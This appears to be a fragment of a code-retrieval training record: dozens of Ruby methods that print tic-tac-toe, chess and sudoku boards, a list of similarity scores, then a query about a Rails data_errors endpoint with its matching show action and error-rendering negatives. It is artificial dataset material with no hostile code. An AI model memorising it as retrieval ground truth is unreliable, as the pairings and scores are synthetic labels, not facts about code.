"def to_s\n board_str = \"\"\n square_index = 0\n new_line_counter = 1\n @array.each_with_index do |v, i|\n board_str << v.to_s #if (0..2).include?(i)\n if new_line_counter % 9 == 0\n board_str << \"\\n\"\n elsif new_line_counter % 3 == 0\n board_str << \" \"\n else\n board_str << \" \"\n end\n new_line_counter += 1\n end\n if @array.include?(0) == true\n board_str\n else\n self.fancy_display\n end\n end",
"def to_s\n print_board = ''\n sudoku_board = @board.each { |row| print_board += row.join('') + \"\\n\" }\n print_board\n end",
"def show_board\n\t\ttop_left = \"\\u250c\"\n\t\thorizontal = \"\\u2500\"\n\t\ttop_right = \"\\u2510\"\n\t\tbot_left = \"\\u2514\"\n\t\tbot_right = \"\\u2518\"\n\t\tvertical = \"\\u2502\"\n\t\tcross = \"\\u253c\"\n\t\ttop_cross = \"\\u252c\"\n\t\tbot_cross = \"\\u2534\"\n\t\tleft_vertical = \"\\u251c\"\n\t\tright_vertical = \"\\u2524\"\n\n\t\ttop_board = \" \" + top_left + (horizontal*3 + top_cross)*7 + horizontal*3 + top_right\n\t\tmid_board = vertical + (\" \" + vertical)*7 + \" \" + vertical\n\t\tseparator_board = \" \" + left_vertical + (horizontal*3 + cross)*7 + horizontal*3 + right_vertical\n\t\tbot_board = \" \" + bot_left + (horizontal*3 + bot_cross)*7 + horizontal*3 + bot_right\n\n\t\tputs \"\\n\" + top_board\n\n\t\t(2..8).reverse_each do |num|\n\t\t\tmid_test = num.to_s + vertical\n\t\t\t(\"a\"..\"h\").each do |letter|\n\t\t\t\tpair = letter + num.to_s \n\t\t\t\tmid_test += \" #{@board[pair].view} \" + vertical\n\t\t\tend\n\t\t\tputs mid_test\n\t\t\tputs separator_board\n\t\tend\n\n\t\tmid_test = 1.to_s + vertical\n\t\t(\"a\"..\"h\").each do |letter|\n\t\t\tpair = \"#{letter}1\"\n\t\t\tmid_test += \" #{@board[pair].view} \" + vertical\n\t\tend\n\n\t\tputs mid_test\n\t\tputs bot_board\n\t\tputs \" a b c d e f g h\\n\"\t\t\n\tend",
"def visual_board\n board.transpose\n .map { |row| row.join(\" | \") }\n .map { |row| \"#{row}\\n---+----+----+----+----+----+----\\n\" }\n .join\n end",
"def display_board (s)\n puts \" #{s[0]} | #{s[1]} | #{s[2]} \"\n puts \"-----------\"\n puts \" #{s[3]} | #{s[4]} | #{s[5]} \"\n puts \"-----------\"\n puts \" #{s[6]} | #{s[7]} | #{s[8]} \"\nend",
"def find_piece_string(row,col)\n if board.piece_exists?(row,col)\n team_marker = find_team_marker(board.piece_team(row,col))\n else\n team_marker = find_team_marker(:none)\n end\n piece_marker = find_piece_marker(board.piece_class(row,col))\n coordinates = indices_to_chess_coords(row,col)\n \"#{team_marker}#{piece_marker}#{coordinates}\"\n end",
"def to_s\r\n board = @board.dup.upcase\r\n (1..17).each do |idx|\r\n print board[idx-1]\r\n print \" \" unless idx == 17\r\n puts if idx % 4 == 0\r\n end\r\nend",
"def display_board\n board = \" | | \n-----------\n | | \n-----------\n | | \"\n puts board\nend",
"def board\n @board_string = @board_string.to_s.split(//).each_slice(9).to_a.map!{|array| array.map!{|string| string.to_i}}\n\n end",
"def display_board(board)\n lines = \"-----------\"\n i = 0\n result = \"\"\n 3.times do\n 3.times do\n result.concat(\" #{board[i]} |\")\n i = i.next\n end\n result = result.chop\n result.concat(\"\\n#{lines}\\n\")\n end\n 13.times do\n result = result.chop\n end\n \n puts result\nend",
"def draw_board(hash_of_picks) \n board = \"\n | | \n #{hash_of_picks[1]} | #{hash_of_picks[2]} | #{hash_of_picks[3]} \n | | \n -----+-----+-----\n | | \n #{hash_of_picks[4]} | #{hash_of_picks[5]} | #{hash_of_picks[6]} \n | | \n -----+-----+-----\n | | \n #{hash_of_picks[7]} | #{hash_of_picks[8]} | #{hash_of_picks[9]} \n | | \"\n\n puts board\nend",
"def show_board(board)\n\n puts \"\n #{board[0]} | #{board[1]} | #{board[2]}\n #{board[3]} | #{board[4]} | #{board[5]}\n #{board[6]} | #{board[7]} | #{board[8]}\n \"\nend",
"def display_board\n\t board =\" | | \\n-----------\\n | | \\n-----------\\n | | \"\n\t puts board\n\tend",
"def format_board\n\n\t\t# formateamos la primera fila de negras\n\t\t@board[0][0] = \"bR\"\n\t\t@board[0][1] = \"bN\"\n\t\t@board[0][2] = \"bB\"\n\t\t@board[0][3] = \"bQ\"\n\t\t@board[0][4] = \"bK\"\n\t\t@board[0][5] = \"bB\"\n\t\t@board[0][6] = \"bN\"\n\t\t@board[0][7] = \"bR\"\n\n\t\t# formateamos los peones de negras\n\t\tfor column in (0..@height-1)\n\t\t\t\t@board[1][column] = \"bP\"\n\t\tend\n\n\t\t# formateamos los peones de blancas\n\t\tfor column in (0..@height-1)\n\t\t\t\t@board[6][column] = \"wP\"\n\t\tend\n\n\t\t# formateamos la primera fila de negras\n\t\t@board[7][0] = \"wR\"\n\t\t@board[7][1] = \"wN\"\n\t\t@board[7][2] = \"wB\"\n\t\t@board[7][3] = \"wQ\"\n\t\t@board[7][4] = \"wK\"\n\t\t@board[7][5] = \"wB\"\n\t\t@board[7][6] = \"wN\"\n\t\t@board[7][7] = \"wR\"\n\n\tend",
"def display_board(boardState)\n row1 = \" #{boardState[0].upcase} | #{boardState[1].upcase} | #{boardState[2].upcase} \"\n rowDivider = \"-----------\"\n row2 = \" #{boardState[3].upcase} | #{boardState[4].upcase} | #{boardState[5].upcase} \"\n row3 = \" #{boardState[6].upcase} | #{boardState[7].upcase} | #{boardState[8].upcase} \"\n\n puts row1\n puts rowDivider\n puts row2\n puts rowDivider\n puts row3\nend",
"def to_ascii\n lines = []\n cols = col_count\n min_row.upto(max_row) do |row|\n line = \"%03d:\" % row # left-padded row number\n (cols - row).times {line << ' '}\n\n min_col.upto(max_col) do |col|\n line << ' '\n line << (@board[[row,col,0]] || '.').to_s\n end\n\n lines << line\n end\n\n lines.join \"\\n\"\n end",
"def display_board\n board =\n \" _______ _______ _______\n | | | |\n A| #{@state[:A1]} | #{@state[:A2]} | #{@state[:A3]} |\n |_______|_______|_______|\n | | | |\n B| #{@state[:B1]} | #{@state[:B2]} | #{@state[:B3]} |\n |_______|_______|_______|\n | | | |\n C| #{@state[:C1]} | #{@state[:C2]} | #{@state[:C3]} |\n |_______|_______|_______|\n 1 2 3\n \"\n puts board\n end",
"def chess_board(board)\n pieza = [ \"T-\", \"H-\", \"B-\", \"Q-\", \"K-\", \"B-\", \"H-\", \"T-\" ]\n color = [\"W\", \"B\"]\n peon = [\"P-\", \"P-\", \"P-\", \"P-\", \"P-\", \"P-\", \"P-\", \"P-\"]\n \n\n for i in 0..7\n for j in 0..7 \n if i == 0 \n (board[i][j] = pieza[j] + color[0])\n elsif i == 1 \n board[i][j] = peon[j] + color[0] \n elsif i == 6 \n board[i][j] = peon[j] + color[1] \n elsif i == 7 \n board[i][j] = pieza[j] + color[1] \n elsif i == 2..5 \n board[i][j] = \" * \" \n end \n end \n end\n board.each do |x|\n puts \"#{x}\"\n end \nend",
"def pretty_board(board)\n #board.each do |num|\n # num.each { |chars| chars}.join(\" \")\n #end\n display_board = board.join(\"|\")\n puts display_board[0..17]\n puts display_board[18..35]\n puts display_board[36..53]\n puts display_board[54..71]\n puts display_board[72..89]\n puts display_board[90..107]\n puts display_board[108..125]\n puts display_board[126..143]\n puts display_board[144..161] + \"|\"\nend",
"def display_board\n puts \" \" + (\"_\" * 47)\n 8.downto(1) do |l|\n puts \" \" +(\"| \" * 8 ) + \"|\"\n puts \" #{l} | \" + @board[l-1].join(\" | \") + \" |\"\n puts \" \" +(\"|_____\" * 8 ) + \"|\"\n end\n puts (\" \" * 8) + ('a'..'h').to_a.join(\" \")\n end",
"def show_board(spaces)\nputs \"\\n\n\n _______ _______ _______ \n | 1 | 2 | 3 |\n | \" + spaces[0] + \" | \" + spaces[1] + \" | \" + spaces[2] + \" |\n |_______|_______|_______|\n | 4 | 5 | 6 |\n | \" + spaces[3] + \" | \" + spaces[4] + \" | \" + spaces[5] + \" |\n |_______|_______|_______|\n | 7 | 8 | 9 |\n | \" + spaces[6] + \" | \" + spaces[7] + \" | \" + spaces[8] + \" |\n |_______|_______|_______| \\n\\n\\n\"\n\nend",
"def show_board(board_hash)\n five_spaces = \"#{\" \"*5}\"\n five_dashes = \"#{\"-\"*5}\"\n empty_line = \"#{five_spaces}|#{five_spaces}|#{five_spaces}\"\n divider_line = \"#{five_dashes}+#{five_dashes}+#{five_dashes}\"\n pipe = \" | \"\n row1 = \" #{board_hash[\"1\"]}#{pipe}#{board_hash[\"2\"]}#{pipe}#{board_hash[\"3\"]} \"\n row2 = \" #{board_hash[\"4\"]}#{pipe}#{board_hash[\"5\"]}#{pipe}#{board_hash[\"6\"]} \"\n row3 = \" #{board_hash[\"7\"]}#{pipe}#{board_hash[\"8\"]}#{pipe}#{board_hash[\"9\"]} \"\n puts empty_line\n puts row1\n puts empty_line\n puts divider_line\n puts empty_line\n puts row2\n puts empty_line\n puts divider_line\n puts empty_line\n puts row3\n puts empty_line\nend",
"def display_board(board)\n current_board = \" #{board[0]} | #{board[1]} | #{board[2]} \\n-----------\\n #{board[3]} | #{board[4]} | #{board[5]} \\n-----------\\n #{board[6]} | #{board[7]} | #{board[8]} \"\n puts current_board\nend",
"def board\n s = $state\n \n puts \"\n 1 2 3\n\n a #{s[0]} | #{s[1]} | #{s[2]}\n ---+---+---\n b #{s[3]} | #{s[4]} | #{s[5]}\n ---+---+---\n c #{s[6]} | #{s[7]} | #{s[8]}\n \"\nend",
"def render\n @board.grid.each_with_index do |row, row_i|\n row.each_with_index do |col, col_i|\n if all_even?(row_i, col_i) || all_odd?(row_i, col_i) # this condition is for white # the two cases where the board is white is when either both row and col are even or both are odd, amazing, quite elegant\n print_piece(col, row_i, col_i, piece_color(col), \"#9AB3C9\")\n else\n print_piece(col, row_i, col_i, piece_color(col), \"#4A7190\") # this is for black lol the hex colors don't make it as clear anymore lol\n end\n end\n puts # make a new line after each row\n end\n nil # so it doesn't return the whole board just a placeholder while you play with this thing\n end",
"def print_board\n col_numbers = [' ']\n (1..8).each do |row|\n row_items = []\n\n col_numbers << ' ' + row.to_s + ' '\n row_items << row\n \n (1..8).each do |col|\n row_items << @board[[row,col]].console_rep\n end\n\n puts row_items.join(' ')\n end\n puts col_numbers.join(' ')\n end",
"def game_board\n puts \" 1 | 2 | 3 \"\n puts \"___________\"\n puts \" 4 | 5 | 6 \"\n puts \"___________\"\n puts \" 7 | 8 | 9 \"\nend",
"def board\n board = create_board_array()\n board_display = []\n\n board.each { |x|\n board_display << x.join(\" \") \n }\n # puts \"\"\n # puts board_display\n return board_display\n end",
"def display_board\n cell_one = \" \"\n cell_two = \" \"\n cell_three = \" \"\n cell_four = \" \"\n cell_five = \" \"\n cell_six = \" \"\n cell_seven = \" \"\n cell_eight = \" \"\n cell_nine = \" \"\n divider = \"|\"\n row = \"-----------\"\n puts cell_one + divider + cell_two + divider + cell_three\n puts row\n puts cell_four + divider + cell_five + divider + cell_six\n puts row\n puts cell_seven + divider + cell_eight + divider + cell_nine\nend",
"def display_board\n cell = \" \"\n print cell+\"|\"+cell+\"|\"+cell+\"\\n-----------\\n\"+cell+\"|\"+cell+\"|\"+cell+\"\\n-----------\\n\"+cell+\"|\"+cell+\"|\"+cell+\"\\n\"\n\nend",
"def show_board(spaces)\n\nputs \"\\n\n\n _______ _______ _______ \n | 1 | 2 | 3 |\n | \" + spaces[0] + \" | \" + spaces[1] + \" | \" + spaces[2] + \" |\n |_______|_______|_______|\n | 4 | 5 | 6 |\n | \" + spaces[3] + \" | \" + spaces[4] + \" | \" + spaces[5] + \" |\n |_______|_______|_______|\n | 7 | 8 | 9 |\n | \" + spaces[6] + \" | \" + spaces[7] + \" | \" + spaces[8] + \" |\n |_______|_______|_______| \\n\\n\\n\"\n\nend",
"def show_board(spaces)\n\nputs \"\\n\n\n _______ _______ _______ \n | 1 | 2 | 3 |\n | \" + spaces[0] + \" | \" + spaces[1] + \" | \" + spaces[2] + \" |\n |_______|_______|_______|\n | 4 | 5 | 6 |\n | \" + spaces[3] + \" | \" + spaces[4] + \" | \" + spaces[5] + \" |\n |_______|_______|_______|\n | 7 | 8 | 9 |\n | \" + spaces[6] + \" | \" + spaces[7] + \" | \" + spaces[8] + \" |\n |_______|_______|_______| \\n\\n\\n\"\n\nend",
"def to_text\n text = \"\"\n @board_of_stone.each{|row|\n row.each{|stone|\n text << stone.to_s\n }\n text << \"\\n\"\n }\n return text\n end",
"def display_board(board)\n colors=board\n r=\"-----------\"\n puts \" #{colors[0]} | #{colors[1]} | #{colors[2]} \"\n puts r\n puts \" #{colors[3]} | #{colors[4]} | #{colors[5]} \"\n puts r\n puts \" #{colors[6]} | #{colors[7]} | #{colors[8]} \"\nend",
"def display_board(board)\n first_row = \" #{board[0]} | #{board[1]} | #{board[2]} \"\n second_row = \" #{board[3]} | #{board[4]} | #{board[5]} \"\n third_row = \" #{board[6]} | #{board[7]} | #{board[8]} \"\n row_seperator = \"-----------\"\n board = \"#{first_row}\\n\"\\\n \"#{row_seperator}\\n\"\\\n \"#{second_row}\\n\"\\\n \"#{row_seperator}\\n\"\\\n \"#{third_row}\"\n puts board\nend",
"def print_board\n 6.times do |y|\n y = 5 - y # To print from top to bottom\n 7.times do |x|\n if @board[[x, y]] == nil\n x == 6 ? (puts \"( )\") : (print \"( )\")\n else\n # Prints only the 3 first letters of each color to keep board alignment\n x == 6 ? (puts \"(#{@board[[x, y]].color[0, 3]})\") : (print \"(#{@board[[x, y]].color[0, 3]})\")\n end\n end\n end\n end",
"def board(positions)\r\n puts \"\r\n #{positions[\"1\"]}| #{positions[\"2\"]} |#{positions[\"3\"]}\r\n -------\r\n #{positions[\"4\"]}| #{positions[\"5\"]} |#{positions[\"6\"]}\r\n ------\r\n #{positions[\"7\"]}| #{positions[\"8\"]} |#{positions[\"9\"]}\r\n \"\r\nend",
"def to_str\n puts (@board[:h1] + ' ' + @board[:a1] + ' ' + @board[:b1] + ' ' + @board[:c1])\n puts (@board[:h2] + ' ' + @board[:a2] + ' ' + @board[:b2] + ' ' + @board[:c2])\n puts (@board[:h3] + ' ' + @board[:a3] + ' ' + @board[:b3] + ' ' + @board[:c3])\n puts (@board[:h0] + ' ' + @board[:ha] + ' ' + @board[:hb] + ' ' + @board[:hc])\n sleep 1\n end",
"def display\n puts \"#{@board.join(\" \")}\"\n end",
"def display_board(board = @board)\n render_string = \"\"\n board.each_with_index do |arr, idx|\n if idx.even?\n arr.each_with_index do |elmt, index|\n if elmt.nil? == false\n render_string << \"#{elmt}\"\n elsif elmt.nil? && index.even?\n render_string << \" \"\n elsif elmt.nil? && index.odd?\n render_string << \"|\"\n end\n end\n render_string << \"\\n\"\n else\n arr.each_with_index do |elmt, index|\n if index < 2 || (index.odd? && elmt.nil? == false)\n render_string << \"#{elmt}\" \n elsif index.odd? && elmt.nil?\n render_string << \"-\"\n elsif elmt.nil? \n render_string << \"---\" \n else\n render_string << \"-#{elmt}-\"\n end\n end\n render_string << \"\\n\"\n end\n end\n puts render_string\n end",
"def put_board\n\t\t#system \"clear\" or system \"cls\"\n #system \"clear\" or system \"cls\"\n\t\ti = 7\n\t\tn = false\n\t\twhile i>=0 do\n\t\t if n == false\n\t\t row(@table,i)\n\t\t n = true\n\t\t else\n\t\t row(@table,i,n)\n\t\t n = false \n\t\t end\n\t i-=1\n\t end\n return \"\"\n\tend",
"def display_board(board)\n rows = [\" #{board[0]} | #{board[1]} | #{board[2]} \", \"-----------\", \" #{board[3]} | #{board[4]} | #{board[5]} \", \"-----------\", \" #{board[6]} | #{board[7]} | #{board[8]} \"]\n puts rows[0]\n puts rows[1]\n puts rows[2]\n puts rows[3]\n puts rows[4]\nend",
"def to_s_pretty\r\n str = \"\"\r\n \r\n border = '+-------+-------+-------+'\r\n separator = '|'\r\n \r\n (0 .. 8).each do |row|\r\n str += (border + \"\\n\") if row % 3 == 0\r\n \r\n (0 .. 8).each do |col|\r\n str += (separator + ' ') if col % 3 == 0\r\n str += (@board[row][col].to_s + ' ')\r\n end\r\n \r\n str += (separator + \"\\n\")\r\n end\r\n \r\n str += (border + \"\\n\")\r\n str.gsub!('0', '_')\r\n return str\r\n end",
"def print_board(board = @board)\n\t\tputs '. a b c d e f g h'\n\t\tboard.each_with_index do |row, ri|\n\t\t\tprint \"#{ri + 1} \"\n\t\t\trow.each_with_index do |col, ci|\n\t\t\t\t(col.nil? ? (ri.even? ? (ci.even? ? whitesq : blacksq) : (ci.even? ? blacksq : whitesq)) : (print col))\n\t\t\t\tprint ' '\n\t\t\tend\n\t\t\tputs\n\t\tend\n\n\t\tprint_taken_pieces\n\t\tputs\n\n\tend",
"def to_s\n pretty = @board.each_slice(9).to_a.each do |array|\n puts array\n end\n end",
"def to_s()\n\t\t@board.to_s\n\tend",
"def render_board\n puts ''\n puts ' | |'\n puts \" #{@squares[1]} | #{@squares[2]} | #{@squares[3]}\"\n puts ' | |'\n puts '-------------------'\n puts ' | |'\n puts \" #{@squares[4]} | #{@squares[5]} | #{@squares[6]}\"\n puts ' | |'\n puts '-------------------'\n puts ' | |'\n puts \" #{@squares[7]} | #{@squares[8]} | #{@squares[9]}\"\n puts ' | |'\n puts ''\n end",
"def to_s\n max_size = board.flatten(1).max.join(' ').size + 1\n\n counts = flat_counts.map { |c, i|\n set = @piece_sets[c]\n \"#{c}: #{i} flats, #{set.flats} remaining pieces, #{set.capstones} remaining capstones\"\n }.join(\"\\n\")\n\n board_state = board.reverse.map.with_index { |row, i|\n row_head = \" #{size - i} \"\n\n row_head + row.map { |cell|\n \"[%#{max_size}s]\" % cell.join(' ')\n }.join(' ')\n }.join(\"\\n\")\n\n footer = ('a'..'h').take(size).map { |c| \"%#{max_size + 2}s\" % c }.join(' ')\n\n \"#{counts}\\n\\n#{board_state}\\n #{footer}\"\n end",
"def display_board\n\t\t\tsystem(\"cls\")\n\t\t\tprint \"\\n\"\n\t\t\t 7.downto(0).each_with_index{|x|\n\t\t\t\t print \"#{x+1}| \"\n\t\t\t\t\t8.times{|y|\n\t\t\t\t\tif y%2==0 && x%2 == 0 || y%2==1 && x%2 == 1\n\t\t\t\t\t\tif @board[y][x] != nil && @board[y][x].color == \"white\"\n\t\t\t\t\t\t\tprint @board[y][x].class.to_s[0].white.bold.on_red, \" \".on_red\n\t\t\t\t\t\telsif @board[y][x] != nil && @board[y][x].color == \"black\"\n\t\t\t\t\t\t\tprint @board[y][x].class.to_s[0].green.bold.on_red, \" \".on_red\n\t\t\t\t\t\telse \n\t\t\t\t\t\t\tprint \" \".on_red\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tif @board[y][x] != nil && @board[y][x].color == \"white\"\n\t\t\t\t\t\t\tprint @board[y][x].class.to_s[0].white.bold, \" \"\n\t\t\t\t\t\telsif @board[y][x] != nil && @board[y][x].color == \"black\"\n\t\t\t\t\t\t\tprint @board[y][x].class.to_s[0].green.bold, \" \"\n\t\t\t\t\t\telse \n\t\t\t\t\t\t\tprint \" \", \" \"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\tprint \"\\n\"\n\t\t\t\t }\n\t\t\t print \"------------------\\n\"\n\t\t\t print \" a b c d e f g h\\n\\n\"\n\tend",
"def display_board(board)\n returnBoard = \"\"\n i = 0\n board.each do |x|\n returnBoard += \" #{x} \"\n if i != 2 && i != 5 && i != 8\n returnBoard += \"|\"\n end\n \n if i == 2 || i == 5\n returnBoard += \"\\n-----------\\n\"\n end\n i+=1\n end\n puts returnBoard\nend",
"def board\n # split_letters = @board_string.partition { |group| }\n # p split_letters\n # @empty_board.each { |row| puts row }\n @game_board.each_with_index {|row| p row}\n # end\n end",
"def display_board(board)\n board_row1 = \" #{board[0]} | #{board[1]} | #{board[2]} \"\n board_row2 = \" #{board[3]} | #{board[4]} | #{board[5]} \"\n board_row3 = \" #{board[6]} | #{board[7]} | #{board[8]} \"\n board_line = \"-----------\"\n puts board_row1\n puts board_line\n puts board_row2\n puts board_line\n puts board_row3\nend",
"def game_board_display(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\n\n end",
"def display_board (game)\n puts \" #{game[0]} | #{game[1]} | #{game[2]} \"\n puts \"-----------\"\n puts \" #{game[3]} | #{game[4]} | #{game[5]} \"\n puts \"-----------\"\n puts \" #{game[6]} | #{game[7]} | #{game[8]} \"\nend",
"def to_s\n\t\t\ts = edge_row + \"\\n\"\n\t\t\t@n_rows.times do |r|\n\t\t\t\ts << \"|\"\n\t\t\t\t@n_cols.times do |c|\n\t\t\t\t\tcorrect_row_index = @n_rows - r -1 \n\t\t\t\t\t#flip board updside down for representation\n\t\t\t\t\ts << \"#{represent_entry(correct_row_index,c)} |\"\n\t\t\t\tend\n\t\t\t\ts << \"\\n\"\n\t\t\tend\n\t\t\ts << edge_row + \"\\n\"\n\t\t\ts << \" \" + (0..@n_cols -1).to_a.join(' ') + \"\\n\"\n\t\t\treturn s\n\t\tend",
"def display_board(game)\n \n puts \" #{game[0]} #{VERTBAR} #{game[1]} #{VERTBAR} #{game[2]} \"\n puts \"#{SEP}\"\n puts \" #{game[3]} #{VERTBAR} #{game[4]} #{VERTBAR} #{game[5]} \"\n puts \"#{SEP}\"\n puts \" #{game[6]} #{VERTBAR} #{game[7]} #{VERTBAR} #{game[8]} \"\n \nend",
"def show_board(board)\n puts '| - | - | - |'\n (0..2).each do |i|\n row = '|'\n 3.times do |j|\n row += ' ' + board.main_board[i][j].to_s + ' |'\n end\n puts row\n puts '| - | - | - |'\n end\nend",
"def render\n print \"\\n\"\n @board.each do |row|\n row.each do |col|\n print \"#{col.nil? ? '.' : col} \"\n end\n print \"\\n\"\n end\n print \"\\n\"\n end",
"def render\n @board.rows.each_with_index do |row, i|\n row.each_with_index do |tile, j|\n if i == 0 || i == 7\n if j == 0 || j == 7\n print \" R \"\n elsif j == 1 || j == 6\n print \" Kn\"\n elsif j == 2 || j == 5\n print \" B \"\n else\n print \" T \"\n end\n elsif i == 1 || i == 6\n print \" p \"\n else\n print \" X \".colorize(:blue)\n end\n end\n puts\n end\n return nil\n end"
] | [
"0.81569463",
"0.79684997",
"0.79651415",
"0.78281605",
"0.77872664",
"0.7735651",
"0.77242976",
"0.76849085",
"0.7664246",
"0.76604277",
"0.7641488",
"0.7631391",
"0.76211023",
"0.7614432",
"0.761214",
"0.7583604",
"0.7581005",
"0.7573897",
"0.7517187",
"0.7513057",
"0.75073904",
"0.74895054",
"0.7461709",
"0.74569243",
"0.7439804",
"0.7439804",
"0.74169624",
"0.73846483",
"0.73798335",
"0.7370573",
"0.7368957",
"0.734031",
"0.73258966",
"0.73111093",
"0.7303421",
"0.7295976",
"0.7291963",
"0.7278283",
"0.72707665",
"0.7266686",
"0.7235268",
"0.723002",
"0.7178758",
"0.7159843",
"0.7136909",
"0.71290153",
"0.71081674",
"0.7101852",
"0.70943606",
"0.7082751",
"0.7071377",
"0.7068053",
"0.70534337",
"0.7051699",
"0.70449454",
"0.70055735",
"0.7001159",
"0.69936013",
"0.69909596",
"0.6987788",
"0.6986067",
"0.6985553",
"0.69846094",
"0.69713575",
"0.6970017",
"0.6962398",
"0.6959835",
"0.6953621",
"0.69472843",
"0.69369096",
"0.69200444",
"0.6920018",
"0.6920018",
"0.69158906",
"0.6915379",
"0.6914419",
"0.69103825",
"0.6909571",
"0.6906386",
"0.6905145",
"0.6905062",
"0.68986815",
"0.6893029",
"0.68927014",
"0.68844396",
"0.68782806",
"0.6875938",
"0.68573815",
"0.6855383",
"0.68517077",
"0.68469226",
"0.68411267",
"0.68404573",
"0.68402815",
"0.68380994",
"0.68342423",
"0.6834111",
"0.68299824",
"0.68275553",
"0.6827093"
] | 0.80490744 | 1 |
GET /data_errors/1 GET /data_errors/1.json | def show
@data_error = DataError.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @data_error }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def api_error\n dm_data.first.first == \"errors\"\n end",
"def error\n @data['error']\n end",
"def error\n @data['error']\n end",
"def error\n data['error']\n end",
"def format_errors(_data)\n _data.errors.as_json\n end",
"def render_errors(errors)\n render json: errors, status: :bad_request\n end",
"def new\n @data_error = DataError.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @data_error }\n end\n end",
"def four_zero_four(error)\n json_response({ errors: error }, :not_found)\n end",
"def json_render_errors(errors)\n json_fail errors\n end",
"def response_errors\n parsed_response['error']\nend",
"def validation_error(resource, status = 400, title = 'Bad Request')\n render json: {\n errors: [\n {\n status: status,\n title: title,\n detail: resource.errors,\n code: '100'\n }\n ]\n }, status: status\n end",
"def error\n response_json.fetch(\"error\", \"\")\n end",
"def json_error err, status = 400, headers = {}\n\t\t\tjson_resp({'error' => err}, status, headers)\n\t\tend",
"def render_error_json(msg = '', status = :internal_server_error, data = nil, links = nil)\n render json: {\n status: 'error',\n code: ApplicationHelper.code_status[status],\n msg: msg,\n data: data,\n links: links\n }, status: status\n end",
"def error_message(errors, status)\n render json: { errors: errors }, status: status\n end",
"def index\n @errors = Error.all\n end",
"def error(data = false)\n { error: data }.to_json\n end",
"def four_zero_four(error)\n json_response({ message: error.message }, :not_found)\n end",
"def error\n @error_response\n end",
"def four_twenty_two(error)\n json_response({ errors: error }, :unprocessable_entity)\n end",
"def render_error\n render json: { errors: @collection.errors.full_messages }, status: :unprocessable_entity\n end",
"def errors_from_json(json)\n render('layouts/json_errors', errors: json ) unless json.blank?\n end",
"def render_json_error(error_message, status = 400)\n render_json_errors [error_message], status\n end",
"def failure\n render json: {status: 1, data: nil}\n end",
"def halt_bad_request(code, errors, message = 'Bad request')\n data = MultiJson.dump(error: { code: code, message: message, errors: errors })\n size = data.bytesize.to_s\n [\n 400,\n { 'Content-Type' => 'application/json;charset=utf-8', 'Content-Length' => size },\n [data]\n ]\n end",
"def json_resource_errors\n { message: resource.errors.full_messages.first }\n end",
"def error(status, code, message)\n render :json => {:response_type => \"ERROR\", :response_code => code, :message => message}.to_json, :status => status\n end",
"def show\n @thing_with_error = ThingWithError.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @thing_with_error }\n end\n end",
"def index\n raise CrazyError, \"This is a crazy error!\"\n @thing_with_errors = ThingWithError.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @thing_with_errors }\n end\n end",
"def display_errors\n return super unless format == :json\n\n errors, status = resource_errors\n\n controller.render problem: errors, status: status\n end",
"def errors\n json = parsed_body\n json ? json['Error'] : nil\n end",
"def json_resource_errors\n {\n error: true,\n errors: resource.errors,\n }\n end",
"def destroy\n @data_error = DataError.find(params[:id])\n @data_error.destroy\n\n respond_to do |format|\n format.html { redirect_to data_errors_url }\n format.json { head :no_content }\n end\n end",
"def error\n return unless id.nil?\n @error ||= @response['message']\n end",
"def render_error(type = nil)\n if type == \"empty\"\n render json: { error: \"No results were found! Please try again with another keyword.\" }, status: 422\n elsif type == \"missing_params\"\n render json: { error: \"Query missing. Please try again with a query string.\" }\n else\n render json: { error: \"Access denied: your API key is invalid. Please enter a valid API key to continue.\" }, status: 401\n end\n end",
"def json_resource_errors\n { errors: resource.errors.full_messages }\n end",
"def render_error(resource, status)\n render json: resource, status: status, adapter: :json_api, serializer: ActiveModel::Serializer::ErrorSerializer\n end",
"def four_twenty_two(error)\n json_response(error.message, :unprocessable_entity)\n end",
"def record_not_found(error)\n render(\n json:{\n errors:[{\n type: error.class.to_s,\n message:error.message\n }]\n }\n )\n end",
"def render_errors(model)\n render json: { errors: model.errors.full_messages.join(',\\n')}, status: 422\n end",
"def error\n @obj['error']\n end",
"def four_twenty_two(error)\n json_response({ message: error.message }, :unprocessable_entity)\n end",
"def errors\n validate_or_get_results :errors\n end",
"def error_messages\n @error_messages ||= begin\n data[:errors] ? data[:errors] : [data]\n end\n end",
"def render_error\n render json: { errors: @collectioner.errors.full_messages }, status: :unprocessable_entity\n end",
"def show\n @runs_error = RunsError.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @runs_error }\n end\n end",
"def error(message, code)\n error_response = {\n message: message\n }\n render :json => error_response, :status => code\n end",
"def failure_response errors = [], status = 403, args = {}\n resp = errors.empty? ? {:success => false} : {:success => false, :errors => errors}\n respond_to do |format|\n format.json do\n render({:json => resp, :status => status}.merge(args))\n end\n end\n end",
"def throw_error(error)\n render json: error, status: :bad_request\n end",
"def first_error_message\n response_as_json[\"errors\"].first[\"message\"]\n end",
"def render_json_error(obj, opts = {})\n opts = { status: opts } if opts.is_a?(Fixnum)\n render json: MultiJson.dump(create_errors_json(obj, opts[:type])), status: opts[:status] || 422\n end",
"def render_error(status, msg)\n render json: {errors: [msg]}, status: status\n end",
"def error_message\n @data[\"message\"]\n end",
"def not_found\n render(\n json: {\n errors: [{\n type: \"Not Found\"\n }]\n },\n status: :not_found #alias for 404 in rails\n )\n end",
"def invalid_json_json(exception)\n code = 500\n render :json => Status::Errors.exception_json(\"We are currently experiencing issues with our data server, please try again soon.\", code).to_json, :status => code\n end",
"def error\n return unless body['error'] || body['error_message']\n\n error_response = normalize_error(body)\n deserialize_json(error_response)\n end",
"def render_error message, status\n error = {\n error: {\n message: message\n }\n }\n render json: error, status: status\n end",
"def json_error(message = 'An error occurred')\n { status: 'error', message: message }\n end",
